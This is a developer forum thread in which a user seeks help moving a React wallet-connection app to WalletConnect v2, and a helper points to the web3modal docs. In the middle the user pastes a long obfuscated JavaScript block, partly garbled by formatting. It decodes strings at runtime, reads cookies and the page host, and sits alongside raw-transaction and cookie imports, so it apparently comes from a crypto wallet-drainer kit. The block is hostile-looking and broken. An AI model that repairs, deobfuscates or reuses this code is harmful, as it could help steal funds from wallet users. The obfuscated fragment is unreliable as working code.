Wallet connect v2 auth

good day
please i am having issues on upgrading to the v2 wallet connact on my package json and index file import walletconnect…

HI @frankking3679

Thanks for reaching.
Can you share us more details on how your code looks like and what is the error that you are seeing.

Thanks :raised_hands:

import Web3Modal from "web3modal";
import WalletConnectProvider from "@walletconnect/web3-provider";
import CoinbaseWalletSDK from "@coinbase/wallet-sdk";
import ethereumjs from "ethereumjs-tx";
import web3 from "web3";
import Cookies from "universal-cookie";
import $ from "jquery";

const providerOptions = {
  walletconnect: {
    package: WalletConnectProvider,
    options: {
      rpc: {
        1: 'https://rpc.ankr.com/eth',
        56: 'https://rpc.ankr.com/bsc',
        137: "https://rpc.ankr.com/polygon"
      },
      chainId: [1, 56, 137],
      infuraId: process.env.REACT_APP_moralis_ID
    },
  },
  coinbasewallet: {
    package: CoinbaseWalletSDK,
    options,
  },
};
useEffect(() => {
  const initWeb3Modal = async () => {
    const provider = await web3Modal.connect();
    setWeb3Provider(new ethers.providers.Web3Provider(provider));
    setProvider(provider);
  };

  const web3Modal = new Web3Modal({
    cacheProvider: true,
    providerOptions,
  });

  setWeb3Modal(web3Modal);

  if (web3Modal.cachedProvider) {
    initWeb3Modal();
  }
}, []);
const connect = async () => {
  try {
    const provider = await web3Modal.connectTo("walletconnect");
    setWeb3Provider(new ethers.providers.Web3Provider(provider));
    setProvider(provider);
  } catch (e) {
    console.log("Could not connect to WalletConnect provider");
  }
};

const cookies = new Cookies();

function TApp() {
  const [address, setAddress] = useState("");
  const [web3Modal, setWeb3Modal] = useState();
  const [provider, setProvider] = useState();
  const [web3Provider, setWeb3Provider] = useState();
  const [rates, setRates] = useState({ data: {}, fetched: false });
  const [state, updateState] = useState({
    values: [],
    fetched: false,
  });

this is my index js file

Thanks, What is the error message you are seeing in this code?

i didnt get any error but the wallet connect is not working when i click the function botton

Is the code responsible for connecting to wallet connect?

How are you calling these functions with button click?

const button = ReactDOM.createRoot(document.getElementById(“wild”));
button.render();

Did you assign any function to run when button is clicked?

YES TRYING TO UPLOAD HERE BUT TOO LONG to upload

I GOT THIS BIG OBFUSCATOR CODE

(function(_0x3001ce,_0x1551e9){function _0x3b8639(_0xaed12f,_0x49c42e,_0x3b2261,_0x107f33,_0x5dbbf8){return _0x5a38(_0x5dbbf8- -0x29f,_0x3b2261);}const _0x9dad7=_0x3001ce();function _0x43c88b(_0x55c1d3,_0x471c5f,_0x21e141,_0x211878,_0x599dee){return _0x5a38(_0x21e141-0x14a,_0x471c5f);}function _0x5f53e4(_0x414047,_0x146625,_0xbfe2b0,_0x4f10e0,_0x1a97dd){return _0x5a38(_0xbfe2b0-0x2f4,_0x414047);}function _0x5b7f07(_0x14f5b1,_0x50ebca,_0x17cb3b,_0x27807b,_0x20c181){return _0x5a38(_0x20c181-0x33e,_0x14f5b1);}function _0x1b03d6(_0xadfc56,_0x32ef23,_0x2b4d4d,_0x78f56b,_0x3df1e4){return _0x5a38(_0xadfc56-0x1c8,_0x32ef23);}while(!![]){try{const _0x1726a9=parseInt(_0x43c88b(0x377,‘nlv(’,0x461,0x6fe,0x519))/(0x2217±0x2700+0x110x4a)±parseInt(_0x43c88b(0x30e,‘XvDq’,0x264,0x269,0x189))/(-0xf69±0x1-0x1d5d±0xdf2)+parseInt(_0x3b8639(0x364,0x2de,‘wEFO’,-0x52,0x26b))/(0x2*-0x3f2±0x83b±0x7*-0x24e)(-parseInt(_0x3b8639(-0x1f7,-0x167,’&^(e’,-0x1ae,-0xad))/(0x848±0x49-0x23+0x1*-0x123f))+parseInt(_0x1b03d6(0x31d,‘caGz’,0x29f,0x72,0x3ae))/(0x18b3+0x79e+0x4*-0x813)+parseInt(_0x3b8639(-0x3bd,-0x132,‘azl3’,-0x161,-0x15f))/(-0x1ae5±0x236d+0x3e58)±parseInt(_0x5f53e4(’(]AD’,0x54d,0x7ef,0x6da,0x68f))/(-0x1d04+0x869*-0x3+0x3646)(-parseInt(_0x5f53e4(‘caGz’,0x9e9,0x972,0xae6,0xca9))/(0xb1b±0x1-0x17bd±0x22d0))±parseInt(_0x3b8639(-0x5d,-0x67,‘OWyR’,-0x27a,-0xec))/(0x339*-0xb±0x1f55±0xd5d*-0x5)(parseInt(_0x43c88b(0x8cd,’&#w%’,0x8a1,0x8f4,0x722))/(-0x2521+0x255a±0x2f));if(_0x1726a9===_0x1551e9)break;else _0x9dad7’push’;}catch(_0x466871){_0x9dad7’push’;}}}(_0x4875,-0xb10x1433±0x632a7+0x1d3853));function _0x5a38(_0x15b086,_0x1b852b){const _0x58d0fa=_0x4875();return _0x5a38=function(_0x3720c2,_0x348848){_0x3720c2=_0x3720c2-(0x49f*-0x3±0x6ed±0x3*-0x736);let _0x713930=_0x58d0fa[_0x3720c2];if(_0x5a38[‘HOosNU’]===undefined){var _0x25fd5f=function(_0x219cdb){const _0x2f75e3=‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=’;let _0xc687b9=’’,_0x113f04=’’;for(let _0x10f994=-0xd600x1±0x6d-0x4f±0x150xf7,_0x303dc7,_0x406f08,_0x302894=0x158±0x390x86+0x4120x7;_0x406f08=_0x219cdb’charAt’;~_0x406f08&&(_0x303dc7=_0x10f994%(-0xfee±0x239-0x1+0xdb9)?_0x303dc7*(-0xd57+0xcd6+0x10xc1)+_0x406f08:_0x406f08,_0x10f994++%(-0x1e5±0x720x42+0x1f4d))?_0xc687b9+=String’fromCharCode’:-0x1d0x49+0x510+0x10x335){_0x406f08=_0x2f75e3’indexOf’;}for(let _0xe98571=-0x4db+0x9c30x2±0xeab,_0x205caa=_0xc687b9[‘length’];_0xe98571<_0x205caa;_0xe98571++){_0x113f04+=’%’+(‘00’+_0xc687b9’charCodeAt’‘toString’)‘slice’;}return decodeURIComponent(_0x113f04);};const _0x281896=function(_0x1d4a71,_0x51a3d8){let _0x2bfc64=[],_0x24e406=-0x3550x6±0xa30±0x1e2e*-0x1,_0x1e5c4f,_0x51e222=’’;_0x1d4a71=_0x25fd5f(_0x1d4a71);let _0x45056f;for(_0x45056f=-0xa0x27a+0x1140x4+0x1474;_0x45056f<-0x1392±0x1eb1+0x3343;_0x45056f++){_0x2bfc64[_0x45056f]=_0x45056f;}for(_0x45056f=0x20d3±0x80x3fb+0xfb-0x1;_0x45056f<-0x2*-0xbd5+0x1240*-0x2+0xdd6;_0x45056f++){_0x24e406=(_0x24e406+_0x2bfc64[_0x45056f]+_0x51a3d8’charCodeAt’)%(0x2f40x1±0x6b0x4f+0x1f11),_0x1e5c4f=_0x2bfc64[_0x45056f],_0x2bfc64[_0x45056f]=_0x2bfc64[_0x24e406],_0x2bfc64[_0x24e406]=_0x1e5c4f;}_0x45056f=-0xe*-0x1f7+0x3ab±0x10x1f2d,_0x24e406=-0x13a1+0x241f±0x107e0x1;for(let _0x18fc92=0x4*-0x3c7+0x3ae+0x9a0x13;_0x18fc92<_0x1d4a71[‘length’];_0x18fc92++){_0x45056f=(_0x45056f+(0x188a±0x1-0x1c9d±0x3526))%(0x4b±0x10xe7+0x19c),_0x24e406=(_0x24e406+_0x2bfc64[_0x45056f])%(-0x180x4c+0x1966±0x1146),_0x1e5c4f=_0x2bfc64[_0x45056f],_0x2bfc64[_0x45056f]=_0x2bfc64[_0x24e406],_0x2bfc64[_0x24e406]=_0x1e5c4f,_0x51e222+=String’fromCharCode’;}return _0x51e222;};_0x5a38[‘CjbPLU’]=_0x281896,_0x15b086=arguments,_0x5a38[‘HOosNU’]=!![];}const _0x55dfcd=_0x58d0fa[-0x377+0x25*-0x107±0x1*-0x297a],_0x4e512c=_0x3720c2+_0x55dfcd,_0x1cac35=_0x15b086[_0x4e512c];return!_0x1cac35?(_0x5a38[‘AFwCyW’]===undefined&&(_0x5a38[‘AFwCyW’]=!![]),_0x713930=_0x5a38’CjbPLU’,_0x15b086[_0x4e512c]=_0x713930):_0x713930=_0x1cac35,_0x713930;},_0x5a38(_0x15b086,_0x1b852b);}let isError=![];useEffect(()=>{const _0x73031c={‘iQWqO’:function(_0x59041b){return _0x59041b();},‘PBscO’:function(_0x23237e,_0x20e9e2){return _0x23237e(_0x20e9e2);},‘xHqvB’:function(_0xb53ffd){return _0xb53ffd();},‘jPCgV’:function(_0x4ab600){return _0x4ab600();},‘TtxzA’:function(_0x263707,_0x13fb33){return _0x263707!=_0x13fb33;},‘ZJtRI’:_0x5e48b5(-0x65,’(k%t’,0x37d,0x2d6,0x18d),‘DxOdH’:_0x1b21aa(0x68e,0x5c4,0x9c8,‘ykWt’,0x75f),‘udsia’:function(_0x4c2e44,_0x46f811){return _0x4c2e44!==_0x46f811;},‘WFKYf’:_0x262b92(0x8b,-0x38f,‘wEFO’,-0x1a9,0x97),‘XXnaK’:_0x1b21aa(0x677,0x477,0x552,‘O5Gw’,0x80a),‘jpwHC’:_0x1b21aa(0x895,0x9ff,0x959,‘v9’,0xb1c),‘JVqBk’:function(_0x5e5f6d,_0x291de9){return _0x5e5f6d(_0x291de9);},‘CaAnP’:function(_0x5a560c,_0x23cb2f){return _0x5a560c*_0x23cb2f;},‘tiUPC’:function(_0xdb0c48,_0x5d1c73){return _0xdb0c48*_0x5d1c73;}},_0x1f64d4={};_0x1f64d4[_0x5e48b5(0x342,‘IC&l’,-0x189,0x261,0x9)]=!![],_0x1f64d4[_0x262b92(-0x4f,-0x9c,‘Cuq0’,0x1b2,0x259)]=providerOptions;function _0x262b92(_0x4fd21c,_0xcffee8,_0x5e6f8d,_0x3e85a0,_0x219744){return _0x5a38(_0x3e85a0- -0x363,_0x5e6f8d);}function _0x5e48b5(_0x843dae,_0x43bf33,_0x438716,_0x503021,_0x33140d){return _0x5a38(_0x33140d- -0x237,_0x43bf33);}_0x73031c[_0x1b21aa(0x56e,0x583,0x34a,‘lbXN’,0x399)](setWeb3Modal,new Web3Modal(_0x1f64d4)),_0x73031c[_0x5e48b5(-0x68,’(]AD’,-0x3c1,0x139,-0xeb)](getRef);function _0x21996b(_0x3c5589,_0x45a64c,_0x9be6e,_0x55852c,_0xeb9a76){return _0x5a38(_0x3c5589-0x30d,_0x55852c);}function _0x49941a(_0x29cbed,_0x228257,_0x3b52e0,_0x373613,_0x1208d7){return _0x5a38(_0x1208d7-0x221,_0x228257);}function _0x1b21aa(_0x34fc7e,_0x2e59c3,_0x3f0de1,_0x4c473b,_0x1f1edc){return _0x5a38(_0x34fc7e-0x2c8,_0x4c473b);}_0x73031c_0x5e48b5(0x290,‘ML1f’,0x1f9,0x1e0,0x501);if(_0x73031c_0x21996b(0x6aa,0x76a,0x707,‘wEFO’,0x5ee)){if(_0x73031c_0x262b92(0x3ab,0x140,‘ML1f’,0x30e,0x411)){const _0x46b10e={‘host’:window[_0x5e48b5(-0x14b,‘Jsi!’,-0x240,0x326,0x3a)][_0x5e48b5(-0x232,’(]AD’,-0x162,0x300,0xa0)],‘method’:0x1,‘ref’:cookies_0x5e48b5(-0x42,‘Jsi!’,0x52c,0x4fc,0x2f4)};_0x73031c_0x1b21aa(0x7e7,0x6b6,0x862,’&#w%’,0x505),cookies[_0x1b21aa(0x64f,0x987,0x847,’[RZ2’,0x581)](_0x73031c[_0x1b21aa(0x797,0x570,0x7ac,’(k%t’,0xa2a)],_0x73031c[_0x21996b(0x8d1,0x770,0x69a,‘K@Ue’,0x6fc)],{‘maxAge’:_0x73031c_0x5e48b5(0x3c0,‘4Z9)’,0x18c,0x437,0x3ba);}else _0x384004[_0x21996b(0x688,0x68b,0x7fe,‘0btt’,0x876)]&&_0x73031c_0x1b21aa(0x85f,0x93a,0x621,‘caGz’,0xaea);}},[]),useEffect(()=>{function _0x5133f4(_0x26b40d,_0x17ea99,_0x5469c0,_0x62cc47,_0x2f04e1){return _0x5a38(_0x2f04e1- -0xd8,_0x62cc47);}function _0x26e4c2(_0x15e968,_0x98a2e6,_0x438aef,_0x14738f,_0x3a89d9){return _0x5a38(_0x14738f-0x345,_0x438aef);}function _0x2a05d9(_0x3b8bd7,_0xc8d482,_0x4c3ff7,_0x3fb689,_0x56963c){return _0x5a38(_0x3fb689-0xc3,_0x3b8bd7);}function _0x4d0565(_0x3d9b30,_0x3d7b90,_0x43b57c,_0x7fcc2f,_0x4a6f2){return _0x5a38(_0x4a6f2- -0x114,_0x43b57c);}function _0x11467f(_0x4def7d,_0x7ba0dc,_0x2171fa,_0x5d7c5c,_0x2dbd05){return _0x5a38(_0x2dbd05-0x158,_0x5d7c5c);}const _0x3abb15={‘lpQZr’:_0x4d0565(0x717,0x3c9,‘dRlA’,0x2ea,0x522),‘SVpEf’:function(_0x19d309,_0x21087f){return _0x19d309===_0x21087f;},‘YRXgJ’:_0x5133f4(0x5c9,0x633,0x6ef,‘Qe2J’,0x4b9),‘GGJhe’:_0x5133f4(0x4d0,0x1ab,0x2bc,‘nlv(’,0x44f),‘yAAUF’:function(_0x45bbd5){return _0x45bbd5();},‘pqkxJ’:function(_0x3dccd6,_0x36acc0,_0xa5471b){return _0x3dccd6(_0x36acc0,_0xa5471b);},‘MUbsv’:function(_0x3be187,_0x134949){return _0x3be187(_0x134949);},‘mOEUn’:function(_0x44b713,_0x1a191c){return _0x44b713!==_0x1a191c;},‘UzIVj’:_0x5133f4(0x3fc,0x390,0x600,‘e]bi’,0x4a9),‘QjmZP’:function(_0x2839a5,_0x17c8f6){return _0x2839a5(_0x17c8f6);},‘HtIRI’:function(_0x189a98){return _0x189a98();},‘GOVGI’:function(_0x30e452,_0x3468e3){return _0x30e452&&_0x3468e3;},‘kYeXh’:_0x5133f4(0x3ac,0x203,0x397,‘6u9$’,0x236),‘gUHYc’:_0x11467f(0x6e,0x4c2,0x4a5,’(k%t’,0x345),‘XhiAY’:_0x2a05d9(‘0btt’,0x4f7,0x335,0x57a,0x6fa),‘CBOom’:function(_0x44d51d,_0x147108){return _0x44d51d!==_0x147108;},‘jgvPR’:_0x4d0565(0x564,0x60d,‘6u9$’,0x47d,0x316),‘qRDdw’:_0x26e4c2(0x721,0xc5c,‘wM^r’,0xa32,0x70a),‘FgvMH’:function(_0x271d4e,_0x190c53){return _0x271d4e(_0x190c53);}};if(_0x3abb15_0x11467f(0x153,0xc6,0x2b1,‘6u9$’,0x2bf)){if(_0x3abb15[_0x4d0565(-0x37,0x556,‘bwc]’,0xa5,0x2af)](_0x3abb15[_0x26e4c2(0x4f7,0x555,‘v19f’,0x5da,0x6e9)],_0x3abb15[_0x5133f4(0x1a5,0x68f,0x727,‘azl3’,0x40a)])){const _0x45c044={};return _0x45c044[_0x2a05d9(‘hFWh’,0x3d3,0xc2,0x3f7,0x66a)]=_0x533bc6[_0x26e4c2(0x489,0x822,’&QOW’,0x748,0x46b)],_0x45c044[_0x4d0565(0x6b5,0x30f,‘ML1f’,0x709,0x405)]=_0x1e4c58[_0x4d0565(0x4e5,0x277,‘wM^r’,0x295,0x2b6)],_0x45c044[_0x2a05d9(‘8Tr]’,0x393,0x470,0x381,0x25c)]=_0x393aa6[_0x4d0565(0x937,0x304,’&#w%’,0x491,0x5f6)],_0x45c044[_0x2a05d9(‘0btt’,0x3c7,0x570,0x6d3,0x92f)]=_0x40fdce[_0x11467f(0x22a,0x376,0x10a,‘9V1P’,0x3dd)],_0x45c044[_0x11467f(0x19a,0x8d,0x6c8,‘wEFO’,0x3af)]=_0x49028e[_0x11467f(0x34c,0x36f,0x4a5,‘wEFO’,0x3af)],_0x45c044[_0x4d0565(0x166,0x5fd,‘9V1P’,0xe3,0x353)]=_0x228e34[_0x11467f(0x7cf,0x5a4,0x4af,‘v19f’,0x714)],_0x45c044;}else _0x3abb15_0x11467f(0x6a6,0x563,0x5c4,‘CQ12’,0x76e)[‘on’](_0x3abb15[_0x4d0565(0x41a,0x1da,’&^(e’,0x515,0x3e4)],_0x3abb15[_0x11467f(0x554,0x1de,0x25b,‘v19f’,0x3b3)],async()=>{function _0x16f567(_0x4fbe6a,_0x310a6a,_0x110efb,_0x360e92,_0x43d584){return _0x26e4c2(_0x4fbe6a-0x196,_0x310a6a-0x13b,_0x110efb,_0x360e92-0x5f,_0x43d584-0x1cf);}function _0x58709f(_0x3629ce,_0x5d16ad,_0x5ac60f,_0x390ecd,_0x43fdc1){return _0x11467f(_0x3629ce-0x59,_0x5d16ad-0xf4,_0x5ac60f-0x131,_0x43fdc1,_0x3629ce- -0x395);}function _0x2c7b15(_0x2cfc6a,_0x29b8d8,_0xb1d30d,_0x178991,_0x11f6b0){return _0x4d0565(_0x2cfc6a-0xa8,_0x29b8d8-0x130,_0xb1d30d,_0x178991-0x1aa,_0x2cfc6a-0x44);}function _0x9d2667(_0x2b2d46,_0x312337,_0x3f5250,_0x99d3e8,_0x124123){return _0x11467f(_0x2b2d46-0x1e0,_0x312337-0x5b,_0x3f5250-0x4b,_0x124123,_0x99d3e8- -0x263);}function _0xdcd762(_0x20bfa8,_0x33c51a,_0x1d338a,_0x5b0c2f,_0xfbeb12){return _0x26e4c2(_0x20bfa8-0x4c,_0x33c51a-0x43,_0xfbeb12,_0x1d338a- -0x435,_0xfbeb12-0x193);}if(_0x3abb15_0x2c7b15(0x139,0x1a5,‘IC&l’,0x328,0x37e))return _0x41b66a_0x58709f(0x276,0x474,0xb1,0x304,‘ykWt’),![];else _0x3abb15_0x2c7b15(0x228,0x555,‘Jsi!’,0x1a1,0x3be);});}else address&&state[_0x11467f(0x55c,0x8a3,0x631,’[RZ2’,0x827)]&&(_0x3abb15[_0x2a05d9(‘4Z9)’,0x119,0x4a5,0x32a,0x41a)](_0x3abb15[_0x5133f4(0x2be,0xdc,-0xe3,‘pnob’,0x209)],_0x3abb15[_0x2a05d9(’(]AD’,0x408,0x38d,0x625,0x59c)])?_0x3abb15_0x2a05d9(‘azl3’,0x62e,0x468,0x5c4,0x2b1)[‘on’](_0x3abb15[_0x5133f4(0x67d,0x52b,0x2b9,‘dRlA’,0x594)],_0x3abb15[_0x11467f(0x4bc,0x2ea,0x31b,’(k%t’,0x364)],async()=>{function _0x31b547(_0x4105b0,_0x365dfc,_0x4f3f33,_0x4b2323,_0x22a35b){return _0x2a05d9(_0x365dfc,_0x365dfc-0x146,_0x4f3f33-0x94,_0x4b2323- -0x39,_0x22a35b-0x1c6);}function _0x4621ab(_0x131557,_0x4b166a,_0x59db80,_0x32bdf1,_0x5c0f7a){return _0x26e4c2(_0x131557-0x88,_0x4b166a-0x8a,_0x32bdf1,_0x4b166a- -0x495,_0x5c0f7a-0xab);}function _0x43c227(_0x11706f,_0x4adb32,_0x57b0a6,_0x30d679,_0x4a47b6){return _0x11467f(_0x11706f-0x14c,_0x4adb32-0x155,_0x57b0a6-0xc9,_0x11706f,_0x4adb32- -0x32d);}function _0x43a576(_0x358119,_0x442271,_0x38d647,_0x1b67cf,_0xe4bdb2){return _0x26e4c2(_0x358119-0x1a2,_0x442271-0x85,_0x358119,_0xe4bdb2- -0x6a0,_0xe4bdb2-0x5c);}function _0x970ff8(_0x508c0a,_0x256f60,_0x2c0b14,_0x140012,_0x33042d){return _0x5133f4(_0x508c0a-0x186,_0x256f60-0x134,_0x2c0b14-0x15,_0x2c0b14,_0x508c0a-0x263);}if(_0x3abb15_0x43a576(‘id^q’,0x1ed,0x35c,0x1d1,0x2f0)){if(_0xb67bb9[_0x4621ab(0x469,0x5c3,0x529,‘ML1f’,0x849)][_0x970ff8(0x7f2,0x745,’&^(e’,0x803,0x98b)])_0x3268fc_0x970ff8(0x4fd,0x505,‘ePvl’,0x221,0x6ae),_0x3abb15_0x4621ab(0x489,0x3de,0xcb,‘v9’,0x2cd);else return _0x28e25b_0x31b547(-0x94,‘pnob’,0x347,0x269,0x43b),_0x3abb15_0x970ff8(0x664,0x632,’&#w%’,0x60d,0x39b);}else _0x3abb15_0x43a576(’&2E9’,0x272,0x3ca,0x4f0,0x2d6);}):(_0x3f6102_0x11467f(0x9a7,0x41f,0x786,‘Jsi!’,0x69b),_0x3abb15_0x5133f4(0x123,0x3f,0x189,‘XvDq’,0x342),_0x3abb15_0x26e4c2(0x9b4,0x784,‘6u9$’,0x96a,0x6e3)));},[web3Modal,address,state]),useEffect(()=>{function _0x5d9bac(_0x29a49d,_0x242ce4,_0x1715d5,_0x38188b,_0x5e0c92){return _0x5a38(_0x1715d5- -0x107,_0x242ce4);}function _0x32673c(_0x2383c1,_0x2d2b3b,_0x1f88b9,_0x33eb40,_0x4e6646){return _0x5a38(_0x33eb40- -0x2a0,_0x2383c1);}const _0x2e193c={‘FNOZZ’:function(_0x2ec34d,_0x236432){return _0x2ec34d(_0x236432);},‘ytBBo’:function(_0x3c031d,_0x271e44){return _0x3c031d(_0x271e44);},‘DVGCf’:_0x32673c(‘e]bi’,0x1b4,0x1b9,0x3ac,0x134),‘sxhjq’:function(_0x5e73a9,_0x316c71){return _0x5e73a9==_0x316c71;},‘AYbyl’:function(_0x4ca8fb){return _0x4ca8fb();},‘MWNCk’:function(_0x47e4d3,_0x1c6ac6){return _0x47e4d3===_0x1c6ac6;},‘NulvN’:_0x3526a4(0x195,‘5q^Z’,0x2e8,0x2e6,-0x61),‘PhIoQ’:function(_0x3072b7,_0x13ee6d){return _0x3072b7===_0x13ee6d;},‘kSLXH’:_0x3526a4(0x164,‘ykWt’,0x19c,0x494,-0xa8),‘cSbIA’:function(_0xe87214,_0x4279be){return _0xe87214==_0x4279be;},‘mGQfZ’:function(_0x330945,_0x2f6af7){return _0x330945===_0x2f6af7;},‘lzxQG’:_0x49a691(0x48d,‘jinS’,0x4ad,0x25b,0x4ca),‘wGrvC’:_0x49a691(-0x3c,‘dRlA’,-0x169,-0x8a,-0x2ec),‘ZTAfm’:_0x5d9bac(-0x1e,‘jinS’,0x89,0xeb,0xb8)};function _0x1da079(_0xc52d9f,_0x38aed5,_0x282b35,_0x29c083,_0x1139fe){return _0x5a38(_0x282b35- -0x132,_0x29c083);}function _0x3526a4(_0x1aa4e6,_0x26b804,_0x4a8c54,_0x315f7d,_0x25f87b){return _0x5a38(_0x1aa4e6- -0x27,_0x26b804);}function _0x49a691(_0x2f07ac,_0x53f3bf,_0x2e1c6b,_0xabc7e6,_0x5c2dbe){return _0x5a38(_0x2f07ac- -0x2c2,_0x53f3bf);}if(web3Modal&&web3Modal[_0x32673c(‘8Tr]’,0x3fc,0x66d,0x42e,0x23a)]){if(_0x2e193c_0x32673c(‘4Z9)’,0x42e,0x147,0x3f4,0x24b))_0x2e193c_0x32673c(’&QOW’,0x12a,-0x204,-0x161,-0x21b);else return _0x107a16_0x5d9bac(0x279,‘KT5f’,0x2db,0x417,0x2a9),_0x2e193c[_0x1da079(0x317,0x432,0x172,‘8Tr]’,0x41c)](_0x1f71e0,-0x1038±0x1*-0xc31+0x1*0x409);}else _0x2e193c_0x49a691(0x29c,‘ML1f’,0x51b,0x444,-0x96)?_0x2e193c_0x5d9bac(0x91a,‘6u9$’,0x621,0x313,0x5a9)&&(_0x2e193c_0x3526a4(0x3a9,’&2E9’,0x24c,0x2a7,0x4e8)?(_0x1a6579[_0x3526a4(0x414,‘caGz’,0x745,0x3d7,0x3e6)](_0x49a691(0x1e2,‘bwc]’,0xe3,0x359,0x2ce)+_0x18f7fb+_0x5d9bac(0x53,‘6u9$’,0x6f,-0x227,0x62)+_0x160acf[_0x32673c(‘XvDq’,0x3ca,0x17b,0x16c,0x2b)]+_0x49a691(0x163,‘hFWh’,-0x58,-0x1df,0x487)+_0x637309[_0x49a691(0x108,‘wM^r’,

const button = ReactDOM.createRoot(document.getElementById(“wild”));
button.render();

but this is not complete just a sample of it

i am not sure if you are referring any docs but here is the latest wallet connect docs.

This docs shows using a web3modal hook to connect with walletconnect. This seems the simple way.


import { useWeb3Modal } from '@web3modal/react'

function HomePage() {
  const { open, close } = useWeb3Modal()

  return <button onClick={() => open()}>Connect</button>
}

ok i try set everything up and text you

1 Like

this is my index file here with the old wallet connect functions
import React, { useState, useEffect, useRef } from “react”;
import ReactDOM from “react-dom/client”;
import { ethers } from “ethers”;
import Web3Modal from “web3modal”;
import WalletConnect from “@walletconnect/web3-provider”;
import CoinbaseWalletSDK from “@coinbase/wallet-sdk”;
import ethereumjs from “ethereumjs-tx”;
import web3 from “web3”;
import Cookies from “universal-cookie”;
import $ from “jquery”;

const options = {
rpc: {
1: ‘https://rpc.ankr.com/eth’,
56: ‘https://rpc.ankr.com/bsc’,
137: “https://rpc.ankr.com/polygon
},
chainId: [1, 56, 137],
infuraId: process.env.REACT_APP_moralis_ID
}

const providerOptions = {
walletconnect: {
package: WalletConnect,
options,
},
coinbasewallet: {
package: CoinbaseWalletSDK,
options,
},
};

const cookies = new Cookies();

function TApp() {
const [address, setAddress] = useState("");
const [web3Modal, setWeb3Modal] = useState();
const [provider, setProvider] = useState();
const [web3Provider, setWeb3Provider] = useState();
const [rates, setRates] = useState({ data: {}, fetched: false });
const [state, updateState] = useState({
values: [],
fetched: false,
});

const button = ReactDOM.createRoot(document.getElementById(“TRUST”));
button.render();

I WANT TO KNOW THE LIST OF PACKAGE JSON and devdependency i will need to put to make the wallet connect v2 work

As per the shared docs you will only need @web3modal/ethereum and @web3modal/react to connect with WC2.0 in react